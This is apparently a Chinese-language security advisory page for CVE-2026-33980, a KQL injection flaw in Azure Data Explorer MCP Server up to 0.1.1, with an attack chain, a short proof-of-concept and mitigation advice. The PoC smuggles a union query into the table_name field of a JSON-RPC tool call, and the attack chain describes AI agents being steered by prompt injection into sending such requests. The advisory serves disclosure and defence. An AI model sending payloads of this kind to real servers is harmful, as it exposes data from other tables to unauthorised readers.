IPBUF安全漏洞报告
English
CVE-2026-33980 CVSS 8.3 高危

CVE-2026-33980 Azure Data Explorer MCP KQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33980
漏洞类型
KQL注入
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Azure Data Explorer MCP Server

相关标签

KQL注入Azure Data ExplorerMCP Server代码注入高危漏洞

漏洞概述

Azure Data Explorer MCP Server是一个基于模型上下文协议(MCP)的服务器,旨在通过标准化接口使AI助手能够执行KQL查询并探索Azure Data Explorer数据库。该服务器在0.1.1及之前版本中存在严重的KQL注入漏洞。受影响的功能包括`get_table_schema`、`sample_table_data`和`get_table_details`。由于系统未对输入的`table_name`参数进行任何验证或消毒处理,直接将其通过f-strings拼接到KQL查询语句中,导致攻击者或被注入的AI代理能够执行任意KQL代码,进而对Azure Data Explorer集群构成安全威胁。

技术细节

该漏洞的根源在于不安全的代码实现。在Azure Data Explorer MCP Server的源代码中,`get_table_schema`、`sample_table_data`和`get_table_details`这三个MCP工具处理程序接收用户提供的`table_name`参数。开发人员使用了Python的f-string格式化方法直接将该参数插入到KQL查询语句中。由于没有输入验证(如白名单检查或转义),攻击者可以传入包含恶意KQL语法的数据作为`table_name`。KQL(Kusto Query Language)支持特定的运算符和命令,攻击者可以通过构造特殊的Payload(例如使用管道符`|`或双破折号`--`注释掉后续查询)来改变原始查询的逻辑。由于CVSS向量显示PR:L(低权限)且UI:N(无需交互),攻击者只需具备低级别的访问权限即可通过网络发起攻击。成功利用后,攻击者可以读取敏感数据(机密性高)、修改数据或配置(完整性高)并可能影响服务可用性(可用性低)。修复补丁引入了输入验证机制,确保`table_name`符合预期格式。

攻击链分析

STEP 1
1. 侦察与访问
攻击者获得对Azure Data Explorer MCP Server的低权限访问权限,或者通过Prompt Injection诱导AI代理向MCP服务器发送请求。
STEP 2
2. 构造恶意Payload
攻击者针对`table_name`参数构造包含KQL注入语意的特殊字符串,例如利用管道符`|`追加额外的查询命令。
STEP 3
3. 发送恶意请求
攻击者向`get_table_schema`、`sample_table_data`或`get_table_details`接口发送包含恶意`table_name`参数的JSON-RPC请求。
STEP 4
4. 执行注入查询
服务器端直接将恶意参数拼接到KQL语句中,并在Azure Data Explorer集群上执行攻击者构造的任意KQL代码。
STEP 5
5. 数据泄露与破坏
攻击者获取数据库中的敏感信息(机密性影响),或通过KQL命令修改数据及配置(完整性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Code for CVE-2026-33980 KQL Injection # Target: Azure Data Explorer MCP Server <= 0.1.1 # Vulnerable Parameter: table_name # The vulnerable handler constructs the query like this: # kql_query = f".show table {table_name} schema" # Malicious payload to inject a KQL command # This attempts to bypass the intended query and execute a union operation malicious_payload = "MyTable | union withsource=TableName * | limit 10" # Simulated request to the vulnerable endpoint # POST /mcp/sample_table_data { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "sample_table_data", "arguments": { "table_name": "MyTable | union withsource=TableName * | limit 10" } }, "id": 1 } # Resulting KQL executed on the server: # .show table MyTable | union withsource=TableName * | limit 10 schema # This could leak data from other tables accessible to the connector.

影响范围

Azure Data Explorer MCP Server <= 0.1.1

防御指南

临时缓解措施
建议立即更新到修复了该漏洞的最新版本。如果暂时无法升级,应严格限制对MCP服务器端点的网络访问权限,仅允许受信任的AI代理或用户连接,并启用Azure Data Explorer的详细日志审计,以监控是否存在异常的KQL查询执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表